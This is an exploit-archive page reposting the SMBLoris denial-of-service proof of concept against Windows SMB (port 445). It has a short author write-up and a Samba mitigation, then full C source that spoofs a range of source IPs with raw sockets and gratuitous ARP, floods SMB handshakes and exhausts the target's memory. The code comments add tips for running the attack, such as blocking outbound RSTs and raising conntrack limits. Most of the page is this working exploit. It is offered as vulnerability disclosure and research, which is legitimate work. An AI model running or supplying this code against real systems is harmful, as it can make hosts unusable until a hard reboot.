Twenty Year Anniversary

SMBLoris Denial Of Service

SMBLoris Denial Of Service
Posted Aug 3, 2017
Authored by Hector Martin

Microsoft Windows 10 Pro SMBLoris denial of service exploit that takes down a fully patched system with 8 gigs of ram in less than 10 seconds.

tags | exploit, denial of service
systems | windows
MD5 | 58282a71fd20dab619fc61945f200983

SMBLoris Denial Of Service

Change Mirror Download
PoC (runs under Linux):
https://gist.github.com/marcan/6a2d14b0e3eaa5de1795a763fb58641e
https://twitter.com/marcan42/status/892706927720808449
https://twitter.com/marcan42/status/892716247502082051
https://twitter.com/marcan42/status/892785957849645056

Original disclosure:
https://smbloris.com/

There's a lot of talk about SMBLoris but nobody seems to have written a
public efficient PoC yet, so I gave it a shot. A single instance takes
down a fully patched Windows 10 Pro box with 8GiB of RAM in less than 10
seconds.

I tried using Scapy initially, but it's dog slow, so I went with C. The
PoC uses raw sockets to bypass the local TCP stack. It supports
attacking from multiple source IPs (not requiring them to be bound to
the adapter). There is rudimentary ARP support (gratuitous only, no real
reply functionality). There is no throttling so some packets may be dropped.

I haven't seen it completely deadlock a Windows machine yet (it keeps
accepting connections and responding to pings), but it renders it
completely unusable during the attack and several minutes after it
ceases, and causes various kinds of persistent breakage (UI restarts,
complete UI crashes, inability to start applications, I/O errors due to
failure to allocate memory in the storage controller driver, etc.) where
the only way to get the system behaving properly again is a hard reboot.

On Samba/Linux it just causes typical recoverable Linux OOM behavior
(modulo some processes getting OOM-killed) since smbd forks for each
connection and consumes memory. This can be mitigated with 'max smb
processes = 1000' in smb.conf.

--
Hector Martin "marcan" (marcan@marcan.st)
Public Key: https://mrcn.st/pub



----- PoC -----

/* SMBLoris attack proof-of-concept
*
* Copyright 2017 Hector Martin "marcan" <marcan@marcan.st>
*
* Licensed under the terms of the 2-clause BSD license.
*
* This is a proof of concept of a publicly disclosed vulnerability.
* Please do not go around randomly DoSing people with it.
*
* Tips: do not use your local IP as source, or if you do, use iptables to block
* outbound RST packets. You may want to increase your local conntrack limit:
* echo 1200000 > /proc/sys/net/netfilter/nf_conntrack_max
*/

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>

#define CHECK(cond, name) if (cond) { perror(name); exit(1); }

#define MIN_PORT 1
#define MAX_PORT 65535

struct {
char *iface;
uint8_t hwaddr[6];
uint32_t src_min;
uint32_t src_max;
uint32_t dst;
struct sockaddr_in dst_sa;
} cfg;

static void usage(const char *argv0) {
fprintf(stderr, "Usage: %s <iface> <src_ip_start> <src_ip_end> <dst_ip>\n", argv0);
exit(1);
}

uint32_t parse_ip(const char *s) {
int a,b,c,d;
if (sscanf(s, "%d.%d.%d.%d", &a, &b, &c, &d) != 4) {
fprintf(stderr, "Failed to parse IPv4 address %s\n", s);
exit(1);
}
return (a<<24) | (b<<16) | (c<<8) | d;
}

uint16_t fold(uint32_t v) {
return (v & 0xffff) + (v >> 16);
}

uint32_t csum(void *buf, int len)
{
uint32_t s = 0;
uint16_t *p = buf;
while (len) {
s += *p++;
len -= 2;
}
return s;
}

void get_hwaddr(const char *iface, uint8_t *hwaddr)
{
int sock = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP));
CHECK(sock < 0, "socket(PF_INET, SOCK_PACKET, ETH_P_ARP)");
struct ifreq req;
strncpy(req.ifr_name, iface, sizeof(req.ifr_name));
CHECK(ioctl(sock, SIOCGIFHWADDR, &req) < 0, "ioctl(SIOCGIFHWADDR)");
memcpy(cfg.hwaddr, req.ifr_hwaddr.sa_data, 6);
close(sock);
}

void send_arp(uint32_t addr)
{
struct sockaddr sa;
strncpy(sa.sa_data, cfg.iface, sizeof(sa.sa_data));

struct {
struct ether_header eth;
struct arphdr arp;
uint8_t ar_sha[6];
uint32_t ar_sip;
uint8_t ar_tha[6];
uint32_t ar_tip;
} __attribute__((packed)) pkt;
memset(&pkt, 0, sizeof(pkt));
memset(&pkt.eth.ether_dhost, 0xff, 6);
memcpy(&pkt.eth.ether_shost, cfg.hwaddr, 6);
pkt.eth.ether_type = htons(ETHERTYPE_ARP);

pkt.arp.ar_hrd = htons(1);
pkt.arp.ar_pro = htons(ETH_P_IP);
pkt.arp.ar_hln = 6;
pkt.arp.ar_pln = 4;
pkt.arp.ar_op = htons(ARPOP_REQUEST);
memcpy(pkt.ar_sha, cfg.hwaddr, ETH_ALEN);
pkt.ar_sip = htonl(addr);
memset(pkt.ar_tha, 0xff, ETH_ALEN);
pkt.ar_tip = htonl(addr);

int sock = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP));
CHECK (sock < 0, "socket(PF_INET, SOCK_PACKET, ETH_P_ARP)");
CHECK(sendto(sock, &pkt, sizeof(pkt), 0, &sa, sizeof(sa)) < 0, "sendto(gratuitous ARP)");
close(sock);
}

int sent_packets = 0, errors = 0, replies = 0, rsts = 0, last_errno = 0;

void process_replies(int sock, int rsock)
{
struct {
struct iphdr ip;
struct tcphdr tcp;
uint8_t data[32];
} reply;

while (1) {
int ret = recv(rsock, &reply, sizeof(reply), 0);
if (ret < 0 && errno == EAGAIN)
return;
CHECK(ret < 0, "recv");

if (reply.ip.saddr != htonl(cfg.dst))
continue;
if (ntohl(reply.ip.daddr) < cfg.src_min ||
ntohl(reply.ip.daddr) > cfg.src_max)
continue;
if (reply.ip.protocol != IPPROTO_TCP || reply.tcp.source != htons(445))
continue;
if (reply.tcp.rst || reply.tcp.fin) {
rsts++;
continue;
}
if (!reply.tcp.ack || !reply.tcp.syn)
continue;

struct {
struct iphdr ip;
struct tcphdr tcp;
uint8_t payload[4];
} __attribute__((packed)) pkt;

memset(&pkt, 0, sizeof(pkt));

pkt.ip.ihl = 5;
pkt.ip.version = 4;
pkt.ip.ttl = 128;
pkt.ip.protocol = IPPROTO_TCP;
pkt.ip.saddr = reply.ip.daddr;
pkt.ip.daddr = htonl(cfg.dst);
pkt.tcp.dest = htons(445);
pkt.tcp.source = reply.tcp.dest;
pkt.tcp.doff = 5;
pkt.tcp.window = htons(5840);
pkt.tcp.ack = 1;
pkt.tcp.ack_seq = htonl(ntohl(reply.tcp.seq) + 1);
pkt.tcp.seq = reply.tcp.ack_seq;
memcpy(pkt.payload, "\x00\x01\xff\xff", 4);

uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr) + 4) + csum(&pkt.tcp, sizeof(struct tcphdr) + 4);
pkt.tcp.check = 0xffff - fold(sum);
if (pkt.tcp.check == 0)
pkt.tcp.check = 0xffff;
ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa));
if (ret < 0) {
errors++;
last_errno = errno;
} else {
replies++;
}
}
}

int main(int argc, char **argv)
{
if (argc != 5) {
usage(argv[0]);
}

cfg.iface = argv[1];
cfg.src_min = parse_ip(argv[2]);
cfg.src_max = parse_ip(argv[3]);
cfg.dst = parse_ip(argv[4]);

get_hwaddr(cfg.iface, cfg.hwaddr);
fprintf(stderr, "Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n",
cfg.hwaddr[0], cfg.hwaddr[1], cfg.hwaddr[2],
cfg.hwaddr[3], cfg.hwaddr[4], cfg.hwaddr[5]);

int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
CHECK(sock < 0, "socket(AF_INET, SOCK_RAW, IPPROTO_RAW)");

int rsock = socket(AF_PACKET, SOCK_DGRAM | SOCK_NONBLOCK, htons(ETH_P_IP));
CHECK(rsock < 0, "socket(AF_INET, SOCK_DGRAM, ETH_P_IP)");

struct {
struct iphdr ip;
struct tcphdr tcp;
} __attribute__((packed)) pkt;

memset(&pkt, 0, sizeof(pkt));

pkt.ip.ihl = 5;
pkt.ip.version = 4;
pkt.ip.ttl = 128;
pkt.ip.protocol = IPPROTO_TCP;
pkt.ip.daddr = htonl(cfg.dst);
pkt.tcp.dest = htons(445);
pkt.tcp.doff = 5;
pkt.tcp.window = htons(5840);
pkt.tcp.syn = 1;

memset(&cfg.dst_sa, 0, sizeof(cfg.dst_sa));

cfg.dst_sa.sin_family = AF_INET;
cfg.dst_sa.sin_port = 0;
cfg.dst_sa.sin_addr.s_addr = htonl(cfg.dst);

uint32_t src;
int port;
for (src = cfg.src_min; src <= cfg.src_max; src++) {
pkt.ip.saddr = htonl(src);
pkt.tcp.source = 0;
pkt.tcp.check = 0;
uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr)) + csum(&pkt.tcp, sizeof(struct tcphdr));
send_arp(src);
for (port = MIN_PORT; port <= MAX_PORT; port++) {
pkt.tcp.source = htons(port);
pkt.tcp.check = 0xffff - fold(sum + htons(port));
if (pkt.tcp.check == 0)
pkt.tcp.check = 0xffff;
int ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa));
if (ret < 0) {
errors++;
last_errno = errno;
}
sent_packets++;
if (sent_packets % 100 == 0) {
fprintf(stderr, "\r%08x:%04x %d sent, %d errors (%d), %d replies, %d resets", src, port, sent_packets, errors, last_errno, replies, rsts);
send_arp(src);
}
process_replies(sock, rsock);
}
}
fprintf(stderr, "\n");
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    10 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close